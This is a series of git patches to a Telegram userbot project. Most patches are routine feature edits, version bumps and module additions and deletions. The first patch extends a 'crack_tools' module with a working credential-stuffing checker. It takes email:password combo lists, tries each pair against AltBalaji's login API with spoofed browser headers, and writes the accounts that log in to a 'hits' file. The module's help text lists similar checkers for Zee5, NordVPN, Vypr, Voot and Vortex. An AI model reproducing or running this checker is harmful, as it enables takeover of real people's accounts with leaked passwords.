@borg.on(ChatAction) async def dnamg(event): From a2c70908dfc4b45a3f3dc82e23e27a05eb900e80 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 14:15:14 +0530 Subject: [PATCH 400/838] Update crack_tools.py --- fridaybot/modules/crack_tools.py | 114 +++++++++++++++++++++++++++++-- 1 file changed, 107 insertions(+), 7 deletions(-) diff --git a/fridaybot/modules/crack_tools.py b/fridaybot/modules/crack_tools.py index d6e30319..46dfa1df 100644 --- a/fridaybot/modules/crack_tools.py +++ b/fridaybot/modules/crack_tools.py @@ -38,6 +38,21 @@ } +pq={ + "Accept":"application/json, text/plain", + "Accept-Encoding":"gzip, deflate, br", + "Accept-Language":"en-GB,en-US;q=0.9,en;q=0.8,ta;q=0.7", + "Connection":"keep-alive", + "Host":"api.cloud.altbalaji.com", + "Origin":"https://www.altbalaji.com", + "Referer":"https://www.altbalaji.com/", + "Sec-Fetch-Dest":"empty", + "Sec-Fetch-Mode":"cors", + "Sec-Fetch-Site":"same-site", + "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" +} + + @friday.on(friday_on_cmd(pattern="cz5$")) async def zee5(event): await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') @@ -71,7 +86,7 @@ async def zee5(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @Infinity_Bots') + hitfile.write(s + ' | @FridayOT\n') await borg.send_file( event.chat_id, "hits.txt", caption=f"**!ZEE5 HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" ) @@ -115,7 +130,7 @@ async def vypr(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @Infinity_Bots') + hitfile.write(s + ' | @VirtualUserbot\n') await borg.send_file( event.chat_id, "hits.txt", caption=f"**!NORD HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" ) @@ -159,7 +174,7 @@ async def vortex(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @Infinity_Bots') + hitfile.write(s + ' | @FridayOT\n') await borg.send_file( event.chat_id, "hits.txt", caption=f"**!VORTEX HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" ) @@ -210,7 +225,7 @@ async def vortex(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @Infinity_Bots') + hitfile.write(s + ' | @VirtualUserbot\n') await borg.send_file( event.chat_id, "hits.txt", caption=f"**!VYPR HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" ) @@ -253,7 +268,7 @@ async def _(event): await event.edit("Check Failed. Either Your File Has All Bad Proxies Or Your Proxy File Is Invalid.") elif Counter>=1: file1 = open("goood.txt", "a") - file1.write("\nCHECKED BY VirtualUserbot. GET YOUR OWN VirtualUserbot FROM @Infinity_Bots. ") + file1.write("\nCHECKED BY VirtualUserbot. GET YOUR OWN FRIDAY FROM @VirtualUserbot. ") file1.close() await borg.send_file(event.chat_id, "goood.txt", caption=f"**PROXIES CHECKED**\n**GOOD PROXIES: ** {Counter}\n\n**CHECKED BY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT.**") os.remove(escobar) @@ -305,7 +320,7 @@ async def voot(event): return with open("hits.txt", "w") as hitfile: for s in good_dict: - hitfile.write(s + ' | @FridayOT') + hitfile.write(s + ' | @VirtualUserbot') await borg.send_file(event.chat_id, "hits.txt", caption=f"**!VOOT HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bady}`") os.remove("hits.txt") return @@ -315,7 +330,7 @@ async def voot(event): return with open("hits.txt", "w") as hitfile: for s in good_dict: - hitfile.write(s + ' | @Infinity_Bots') + hitfile.write(s + ' | @VirtualUserbot\n') await borg.send_file( event.chat_id, "hits.txt", caption=f"**!VOOT HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bady}`" ) @@ -323,6 +338,89 @@ async def voot(event): +@friday.on(friday_on_cmd(pattern="cab$")) +async def altbalaji(event): + await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + stark_dict = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + + with open(starky) as f: + stark_dict = f.read().splitlines() + os.remove(starky) + if len(stark_dict) > 50: + await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + return + for i in stark_dict: + starkm = i.split(":") + email = starkm[0] + password = starkm[1] + plaq = {"username":email,"password":password} + try: + meke = requests.post("https://api.cloud.altbalaji.com/accounts/login?domain=IN",json=plaq, headers=pq).json() + except: + meke = None + if meke.get("session_token"): + hits += 1 + hits_dict.append(f"{email}:{password}") + else: + bads += 1 + if len(hits_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s + ' | @VirtualUserbot\n') + await borg.send_file( + event.chat_id, "hits.txt", caption=f"**!ALTBALAJI HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" + ) + os.remove("hits.txt") + + +@friday.on(friday_on_cmd(pattern="cab$")) +async def altbalaji(event): + await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + normal_list = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + nub = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + + with open(nub) as f: + normal_list = f.read().splitlines() + os.remove(nub) + if len(normal_list) > 50: + await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + return + for i in normal_list: + Hitler = i.split(":") + email = Hitler[0] + password = Hitler[1] + plaq = {"username":email,"password":password} + try: + meke = requests.post("https://api.cloud.altbalaji.com/accounts/login?domain=IN",json=plaq, headers=pq).json() + except: + meke = None + if meke.get("session_token"): + hits += 1 + hits_dict.append(f"{email}:{password}") + else: + bads += 1 + if len(hits_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s + ' | @FridayOT\n') + await borg.send_file( + event.chat_id, "hits.txt", caption=f"**!ALTBALAJI HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" + ) + os.remove("hits.txt") + CMD_HELP.update( { "cracking_tools": "**Cracking Tools**\ @@ -332,6 +430,8 @@ async def voot(event): \n**Usage :** Checks for VYPR accounts from combo.\ \n\n**Syntax : **`.cvt `\ \n**Usage :** Checks for Voot accounts from combo.\ +\n\n**Syntax : **`.cab `\ +\n**Usage :** Checks for Altbalaji accounts from combo.\ \n\n**Syntax : **`.cvx `\ \n**Usage :** Checks for Vortex accounts from combo.\ \n\n**Syntax : **`.cz5 `\ From 309f02084f3d3589e1d001cfe5e920dda448d2bf Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 14:15:55 +0530 Subject: [PATCH 401/838] Create lydia.py --- fridaybot/modules/lydia.py | 124 +++++++++++++++++++++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 fridaybot/modules/lydia.py diff --git a/fridaybot/modules/lydia.py b/fridaybot/modules/lydia.py new file mode 100644 index 00000000..802c00b7 --- /dev/null +++ b/fridaybot/modules/lydia.py @@ -0,0 +1,124 @@ +# Copyright 2019 - 2020 DarkPrinc3 + +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at + +# http://www.apache.org/licenses/LICENSE-2.0 + +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import asyncio, coffeehouse + +from coffeehouse.api import API +from coffeehouse.lydia import LydiaAI +from telethon import events +from fridaybot.utils import admin_cmd +from fridaybot import CMD_HELP +from var import Var + +# Non-SQL Mode +ACC_LYDIA = {} +SESSION_ID = {} + +if Var.LYDIA_API_KEY: + api_key = Var.LYDIA_API_KEY + api_client = API(api_key) + lydia = LydiaAI(api_client) + + +@borg.on(admin_cmd(pattern='rcf$')) +async def repcf(event): + if event.fwd_from: + return + await event.edit("Processing...") + try: + session = lydia.create_session() + session_id = session.id + reply = await event.get_reply_message() + msg = reply.text + text_rep = session.think_thought((session_id, msg)) + await event.edit("💫 {0}".format(text_rep)) + except Exception as e: + await event.edit(str(e)) + + +@borg.on(admin_cmd(pattern='addcf$')) +async def addcf(event): + if event.fwd_from: + return + await event.edit("Running on Non-SQL mode for now...") + await asyncio.sleep(3) + await event.edit("Processing...") + reply_msg = await event.get_reply_message() + if reply_msg: + session = lydia.create_session() + session_id = session.id + if reply_msg.from_id is None: + return await event.edit("Invalid user type.") + ACC_LYDIA.update({str(event.chat_id) + " " + str(reply_msg.from_id): session}) + SESSION_ID.update( + {str(event.chat_id) + " " + str(reply_msg.from_id): session_id} + ) + await event.edit( + "Lydia successfully (re)enabled for user: {} in chat: {}".format( + str(reply_msg.from_id), str(event.chat_id) + ) + ) + else: + await event.edit("Reply to a user to activate Lydia AI on them") + + +@borg.on(admin_cmd(pattern='remcf$')) +async def remcf(event): + if event.fwd_from: + return + await event.edit("Running on Non-SQL mode for now...") + await asyncio.sleep(3) + await event.edit("Processing...") + reply_msg = await event.get_reply_message() + try: + del ACC_LYDIA[str(event.chat_id) + " " + str(reply_msg.from_id)] + del SESSION_ID[str(event.chat_id) + " " + str(reply_msg.from_id)] + await event.edit( + "Lydia successfully disabled for user: {} in chat: {}".format( + str(reply_msg.from_id), str(event.chat_id) + ) + ) + except Exception: + await event.edit("This person does not have Lydia activated on him/her.") + + +@bot.on(events.NewMessage(incoming=True)) +async def user(event): + event.text + try: + session = ACC_LYDIA[str(event.chat_id) + " " + str(event.from_id)] + session_id = SESSION_ID[str(event.chat_id) + " " + str(event.from_id)] + msg = event.text + async with event.client.action(event.chat_id, "typing"): + text_rep = session.think_thought((session_id, msg)) + wait_time = 0 + for i in range(len(text_rep)): + wait_time = wait_time + 0.1 + await asyncio.sleep(wait_time) + await event.reply(text_rep) + except (KeyError, TypeError): + return + + +CMD_HELP.update( + { + "lydia": "**Lydia**\ +\n\n**Syntax : **`.addcf `\ +\n**Usage :** Enables Lydia ai on the user.\ +\n\n**Syntax : **`.remcf `\ +\n**Usage :** Disables AI Lydia on the user.\ +\n\n**Syntax : **`.repcf `\ +\n**Usage :** Auto reply on the user." + } +) From 36d9ff242dc93bbeedd2cacd12cf6c51f1613e35 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 14:20:39 +0530 Subject: [PATCH 402/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index c00a289d..a4ae349e 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -145,7 +145,7 @@ async def rip(event): - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_dla_(.*)"))) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_dla_(.*)"))) async def rip(event): yt_dl_data = event.data_match.group(1).decode("UTF-8") link_s = yt_dl_data From e27bd8a9886f483cc20b0453e5c6aabfffb88a90 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 16:57:03 +0530 Subject: [PATCH 403/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index a4ae349e..9bba1da4 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -656,7 +656,7 @@ async def inline_id_handler(event: events.InlineQuery.Event): testinput = event.pattern_match.group(1) urllib.parse.quote_plus(testinput) results = [] - moi = YoutubeSearch(testinput, max_results=20).to_dict() + moi = YoutubeSearch(testinput, max_results=9).to_dict() if not moi: resultm = builder.article( title="No Results Found.", @@ -688,8 +688,8 @@ async def inline_id_handler(event: events.InlineQuery.Event): text=okayz, include_media=True, buttons=[ - [custom.Button.inline("Download Video", data=f"yt_vid_{mo}")], - [custom.Button.inline("Download Audio", data=f"yt_dla_{mo}")], + [custom.Button.inline("Download Video - mp4", data=f"yt_vid_{mo}")], + [custom.Button.inline("Download Audio - mp3", data=f"yt_dla_{mo}")], [Button.switch_inline("Search Again", query="yt ", same_peer=True)], ] ) From f32ce9a11554dfb408361f131dc8aa46f37b62d2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 17:00:46 +0530 Subject: [PATCH 404/838] Create yandex_reverse.py --- fridaybot/modules/yandex_reverse.py | 50 +++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 fridaybot/modules/yandex_reverse.py diff --git a/fridaybot/modules/yandex_reverse.py b/fridaybot/modules/yandex_reverse.py new file mode 100644 index 00000000..85bd709b --- /dev/null +++ b/fridaybot/modules/yandex_reverse.py @@ -0,0 +1,50 @@ +import os +import numpy as np +import requests +from PIL import Image, ImageDraw, ImageFont +from telegraph import upload_file +from fridaybot import CMD_HELP +from fridaybot.function import convert_to_image, crop_vid, runcmd +from fridaybot.utils import friday_on_cmd, sudo_cmd +import json +import requests + +sedpath = "./yandex/" +if not os.path.isdir(sedpath): + os.makedirs(sedpath) + + +@friday.on(friday_on_cmd(pattern=r"yandex")) +@friday.on(sudo_cmd(pattern=r"yandex", allow_sudo=True)) +async def hmm(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + hmmu = await event.reply("hmm... Reverse Searching The Image On Yandex...🚶") + await event.get_reply_message() + img = await convert_to_image(event, borg) + sed = await event.get_reply_message() + img = await convert_to_image(event, borg) + + filePath = img + searchUrl = 'https://yandex.ru/images/search' + files = {'upfile': ('blob', open(filePath, 'rb'), 'image/jpeg')} + params = {'rpt': 'imageview', 'format': 'json', 'request': '{"blocks":[{"block":"b-page_type_search-by-image__link"}]}'} + response = requests.post(searchUrl, params=params, files=files) + query_string = json.loads(response.content)['blocks'][0]['params']['url'] + img_search_url= searchUrl + '?' + query_string + caption = f"""Reverse Search Conpleted! +Reverse Searched Link:- {img_search_url} +Note:- Yandex is a Russian search engine, so better open link in chrome with auto-translate. +Another Note:- Don't Use This Command continually, Yandex Will Block Your Request. +Reverse Search Completed By VirtualUserbot. +Get Your Own Friday From @VirtualUserbot. +""" + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + ) + await event.delete() + + From 65dcfb6c29f439bcd9f9b0e8db5e0a237617741b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 17:12:57 +0530 Subject: [PATCH 405/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 9bba1da4..538dc0ef 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -642,7 +642,6 @@ async def inline_id_handler(event: events.InlineQuery.Event): ) await event.answer(results) - @tgbot.on(events.InlineQuery(pattern=r"yt (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder @@ -697,6 +696,7 @@ async def inline_id_handler(event: events.InlineQuery.Event): await event.answer(results) + @tgbot.on(events.InlineQuery(pattern=r"jm (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder From 2ec1ba5502d8c81471778ec64ff81705bf6426d6 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 17:56:12 +0530 Subject: [PATCH 406/838] Version 2.0 --- app.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/app.json b/app.json index b6108875..857f3907 100644 --- a/app.json +++ b/app.json @@ -1,7 +1,7 @@ { "name": "Virtual-Userbot", "description": "A Remix of Userbots on Github By @InukaASiTH", - "logo": "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg", + "logo": "https://telegra.ph/file/4e1364fb18f899ad47dec.png", "keywords": [ "telegram", "fridaybot", @@ -98,12 +98,12 @@ }, "ALIVE_IMAGE": { "description": "Enter Image URL for bot pic ", - "value": "", + "value": "https://telegra.ph/file/4e1364fb18f899ad47dec.png", "required": false }, "PMPERMIT_PIC": { "description": "Enter Image URL for bot's pmsecurity pic ", - "value": "", + "value": "https://telegra.ph/file/4e1364fb18f899ad47dec.png", "required": false }, From c869315aa925ecb89480880ecce01e872646f4d6 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 17:58:32 +0530 Subject: [PATCH 407/838] Update alive.py --- fridaybot/modules/alive.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py index 71ea7823..8c421819 100644 --- a/fridaybot/modules/alive.py +++ b/fridaybot/modules/alive.py @@ -1,4 +1,4 @@ -"""Check if fridaybot alive. If you change these, you become the gayest gay such that even the gay world will disown you.""" +"""Check if Vbot alive. If you change these, you become the gayest gay such that even the gay world will disown you.""" # CREDITS: @WhySooSerious, @Sur_vivor import time @@ -44,7 +44,7 @@ def get_readable_time(seconds: int) -> str: pm_caption = "➥ **I'm:** `ONLINE`\n\n" pm_caption += "➥ **SYSTEMS STATS**\n" pm_caption += "➥ **Telethon Version:** `1.15.0` \n" -pm_caption += "➥ **Python:** `3.7.4` \n" +pm_caption += "➥ **Python:** `3.9.0` \n" pm_caption += f"➥ **Uptime** : `{uptime}` \n" pm_caption += "➥ **Database Status:** `Functional`\n" pm_caption += "➥ **Current Branch** : `master`\n" From eedde3e4df98068e195be6361a2d3d5c38e9014e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 17:58:59 +0530 Subject: [PATCH 408/838] Update __init__.py --- fridaybot/modules/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/__init__.py b/fridaybot/modules/__init__.py index f991b8e7..4440937f 100644 --- a/fridaybot/modules/__init__.py +++ b/fridaybot/modules/__init__.py @@ -13,7 +13,7 @@ wttrapi = Config.OPEN_WEATHER_MAP_APPID rmbg = Config.REM_BG_API_KEY hmmok = Config.LYDIA_API -currentversion = "4.0" +currentversion = "2.0" if issudousing: amiusingsudo = "Active ✅" else: From 560d901350958738ebcea1a65cac93661a25a514 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 18:47:27 +0530 Subject: [PATCH 409/838] WTF is Yandex No need --- fridaybot/modules/yandex_reverse.py | 50 ----------------------------- 1 file changed, 50 deletions(-) delete mode 100644 fridaybot/modules/yandex_reverse.py diff --git a/fridaybot/modules/yandex_reverse.py b/fridaybot/modules/yandex_reverse.py deleted file mode 100644 index 85bd709b..00000000 --- a/fridaybot/modules/yandex_reverse.py +++ /dev/null @@ -1,50 +0,0 @@ -import os -import numpy as np -import requests -from PIL import Image, ImageDraw, ImageFont -from telegraph import upload_file -from fridaybot import CMD_HELP -from fridaybot.function import convert_to_image, crop_vid, runcmd -from fridaybot.utils import friday_on_cmd, sudo_cmd -import json -import requests - -sedpath = "./yandex/" -if not os.path.isdir(sedpath): - os.makedirs(sedpath) - - -@friday.on(friday_on_cmd(pattern=r"yandex")) -@friday.on(sudo_cmd(pattern=r"yandex", allow_sudo=True)) -async def hmm(event): - if not event.reply_to_msg_id: - await event.reply("Reply to any Image.") - return - hmmu = await event.reply("hmm... Reverse Searching The Image On Yandex...🚶") - await event.get_reply_message() - img = await convert_to_image(event, borg) - sed = await event.get_reply_message() - img = await convert_to_image(event, borg) - - filePath = img - searchUrl = 'https://yandex.ru/images/search' - files = {'upfile': ('blob', open(filePath, 'rb'), 'image/jpeg')} - params = {'rpt': 'imageview', 'format': 'json', 'request': '{"blocks":[{"block":"b-page_type_search-by-image__link"}]}'} - response = requests.post(searchUrl, params=params, files=files) - query_string = json.loads(response.content)['blocks'][0]['params']['url'] - img_search_url= searchUrl + '?' + query_string - caption = f"""Reverse Search Conpleted! -Reverse Searched Link:- {img_search_url} -Note:- Yandex is a Russian search engine, so better open link in chrome with auto-translate. -Another Note:- Don't Use This Command continually, Yandex Will Block Your Request. -Reverse Search Completed By VirtualUserbot. -Get Your Own Friday From @VirtualUserbot. -""" - await borg.send_message( - event.chat_id, - caption, - parse_mode="HTML", - ) - await event.delete() - - From d5cb90df803e5012b076414b5fbabfc26f8a9da6 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 18:49:58 +0530 Subject: [PATCH 410/838] Fuck!! MISTAKEN.. FIXEDD NOW --- fridaybot/function/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index 6f0b015d..f68dbb5f 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -441,7 +441,7 @@ async def _ytdl(url, is_it, event, tgbot): ) await event.edit( file=lol_m, - text=f"{ytdl_data['title']} \n**Uploaded Using @FRidayOt**" + text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" ) os.remove(f"{ytdl_data['id']}.mp3") elif video: From 90f83de1fe34a5ef82ef653b662655acc6cb563c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 23:58:35 +0530 Subject: [PATCH 411/838] Delete lydia.py --- fridaybot/modules/lydia.py | 124 ------------------------------------- 1 file changed, 124 deletions(-) delete mode 100644 fridaybot/modules/lydia.py diff --git a/fridaybot/modules/lydia.py b/fridaybot/modules/lydia.py deleted file mode 100644 index 802c00b7..00000000 --- a/fridaybot/modules/lydia.py +++ /dev/null @@ -1,124 +0,0 @@ -# Copyright 2019 - 2020 DarkPrinc3 - -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at - -# http://www.apache.org/licenses/LICENSE-2.0 - -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -import asyncio, coffeehouse - -from coffeehouse.api import API -from coffeehouse.lydia import LydiaAI -from telethon import events -from fridaybot.utils import admin_cmd -from fridaybot import CMD_HELP -from var import Var - -# Non-SQL Mode -ACC_LYDIA = {} -SESSION_ID = {} - -if Var.LYDIA_API_KEY: - api_key = Var.LYDIA_API_KEY - api_client = API(api_key) - lydia = LydiaAI(api_client) - - -@borg.on(admin_cmd(pattern='rcf$')) -async def repcf(event): - if event.fwd_from: - return - await event.edit("Processing...") - try: - session = lydia.create_session() - session_id = session.id - reply = await event.get_reply_message() - msg = reply.text - text_rep = session.think_thought((session_id, msg)) - await event.edit("💫 {0}".format(text_rep)) - except Exception as e: - await event.edit(str(e)) - - -@borg.on(admin_cmd(pattern='addcf$')) -async def addcf(event): - if event.fwd_from: - return - await event.edit("Running on Non-SQL mode for now...") - await asyncio.sleep(3) - await event.edit("Processing...") - reply_msg = await event.get_reply_message() - if reply_msg: - session = lydia.create_session() - session_id = session.id - if reply_msg.from_id is None: - return await event.edit("Invalid user type.") - ACC_LYDIA.update({str(event.chat_id) + " " + str(reply_msg.from_id): session}) - SESSION_ID.update( - {str(event.chat_id) + " " + str(reply_msg.from_id): session_id} - ) - await event.edit( - "Lydia successfully (re)enabled for user: {} in chat: {}".format( - str(reply_msg.from_id), str(event.chat_id) - ) - ) - else: - await event.edit("Reply to a user to activate Lydia AI on them") - - -@borg.on(admin_cmd(pattern='remcf$')) -async def remcf(event): - if event.fwd_from: - return - await event.edit("Running on Non-SQL mode for now...") - await asyncio.sleep(3) - await event.edit("Processing...") - reply_msg = await event.get_reply_message() - try: - del ACC_LYDIA[str(event.chat_id) + " " + str(reply_msg.from_id)] - del SESSION_ID[str(event.chat_id) + " " + str(reply_msg.from_id)] - await event.edit( - "Lydia successfully disabled for user: {} in chat: {}".format( - str(reply_msg.from_id), str(event.chat_id) - ) - ) - except Exception: - await event.edit("This person does not have Lydia activated on him/her.") - - -@bot.on(events.NewMessage(incoming=True)) -async def user(event): - event.text - try: - session = ACC_LYDIA[str(event.chat_id) + " " + str(event.from_id)] - session_id = SESSION_ID[str(event.chat_id) + " " + str(event.from_id)] - msg = event.text - async with event.client.action(event.chat_id, "typing"): - text_rep = session.think_thought((session_id, msg)) - wait_time = 0 - for i in range(len(text_rep)): - wait_time = wait_time + 0.1 - await asyncio.sleep(wait_time) - await event.reply(text_rep) - except (KeyError, TypeError): - return - - -CMD_HELP.update( - { - "lydia": "**Lydia**\ -\n\n**Syntax : **`.addcf `\ -\n**Usage :** Enables Lydia ai on the user.\ -\n\n**Syntax : **`.remcf `\ -\n**Usage :** Disables AI Lydia on the user.\ -\n\n**Syntax : **`.repcf `\ -\n**Usage :** Auto reply on the user." - } -) From 595b8ccfb7744345362a2370bf1ef6e76a6eb6f6 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 08:20:56 +0530 Subject: [PATCH 412/838] Delete purnhub_download.py --- fridaybot/modules/purnhub_download.py | 79 --------------------------- 1 file changed, 79 deletions(-) delete mode 100644 fridaybot/modules/purnhub_download.py diff --git a/fridaybot/modules/purnhub_download.py b/fridaybot/modules/purnhub_download.py deleted file mode 100644 index 27021d48..00000000 --- a/fridaybot/modules/purnhub_download.py +++ /dev/null @@ -1,79 +0,0 @@ -""" -Pornhub downloader by @anubisxx -Syntax: .phd link -""" -import asyncio - -import requests -from bs4 import BeautifulSoup -from telethon.errors.rpcerrorlist import ( - UserAlreadyParticipantError, - YouBlockedUserError, -) -from telethon.tl.functions.messages import ImportChatInviteRequest - -from fridaybot.utils import friday_on_cmd - - -@friday.on(friday_on_cmd("phd ?(.*)")) -async def _(event): - if event.fwd_from: - return - d_link = event.pattern_match.group(1) - r = requests.get(d_link) - soup = BeautifulSoup(r.content, "html.parser") - temporary_variable = soup.find("span", {"class": "inlineFree"}) - title = temporary_variable.text - temp = soup.find("div", {"class": "thumbnail"}) - view = soup.find("span", {"class": "count"}) - views = view.text - temporary_variable_to_use = temp.find("img") - temporary_variable_to_use["data-src"] - if "pornhub" not in d_link: - await event.edit("` I need a link to download something pro.`**(._.)**") - else: - await event.edit( - "**💦Preparing to upload Video💦 **\n**Title**: `{}`\n**Total Views**: `{}`".format( - title, views - ) - ) - await asyncio.sleep(2) - - async with event.client.conversation("@phsavebot") as conv: - try: - await conv.send_message("/start") - oop = await conv.get_response() - if "language" in oop.text: - await borg.send_message( - event.chat_id, - "**Please go to** @phsavebot **and select your language**", - ) - await asyncio.sleep(2) - me = await borg.get_me() - me.id - # Necessary for the bot to work ;-; - try: - await borg(ImportChatInviteRequest("AAAAAFbNNkKLy3gleaD5sA")) - await borg(ImportChatInviteRequest("AAAAAFZPuYvdW1A8mrT8Pg")) - except UserAlreadyParticipantError: - await asyncio.sleep(0.00000069420) - await conv.send_message(d_link) - response = await conv.get_response() - if "Downloading" in response.text: - video_hehe = await conv.get_response() - await borg.send_file( - event.chat_id, - video_hehe, - caption="`🤤 Video Uploaded by` [@anubisxx](https://github.com/Dark-Princ3/X-tra-Telegram)!🤤\n**Title:** `{}`".format( - title - ), - ) - elif "Unfortunately" in response.text: - await event.edit( - "`Woops, Incorrect link!`\n**Please check and try again.**" - ) - elif "correct" in response.text: - await borg.send_message(event.chat_id, response.text) - except YouBlockedUserError: - await event.reply("**Please unblock** @phsavebot **and try again**") - return From dea2652504ffcd9901c973c3c854100363a58bbd Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 08:27:19 +0530 Subject: [PATCH 413/838] #DARKCOBRA PLUGIN --- fridaybot/modules/tag.py | 79 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 fridaybot/modules/tag.py diff --git a/fridaybot/modules/tag.py b/fridaybot/modules/tag.py new file mode 100644 index 00000000..5ad818a5 --- /dev/null +++ b/fridaybot/modules/tag.py @@ -0,0 +1,79 @@ +# (c) Shrimadhav U K +# +# This file is part of @UniBorg +# +# @UniBorg is free software; you cannot redistribute it and/or modify +# it under the terms of the GNU General Public License as published +# by the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# @UniBorg is not distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# Modified to suit needs, by @its_xditya + + +from telethon import custom, events +from telethon.tl.types import Channel +from telethon.utils import get_display_name + +from fridaybot.configs import Config + +NEEDLOG = int(Config.TAG_LOG) if Config.TAG_LOG else (Var.TG_BOT_USER_NAME_BF_HER) +if Config.TAG_LOG: + NEEDTOLOG = int(Config.TAG_LOG) + +if Config.TAG_LOG: + + @borg.on( + events.NewMessage( + incoming=True, + blacklist_chats=Config.UB_BLACK_LIST_CHAT, + func=lambda e: (e.mentioned), + ) + ) + async def all_messages_catcher(event): + # the bot might not have the required access_hash to mention the + # appropriate PM + await event.forward_to(NEEDLOG) + + + # construct message + # the message format is stolen from @MasterTagAlertBot + + ammoca_message = "" + + + who_ = await event.client.get_entity(event.sender_id) + if who_.bot or who_.verified or who_.support: + return + + who_m = 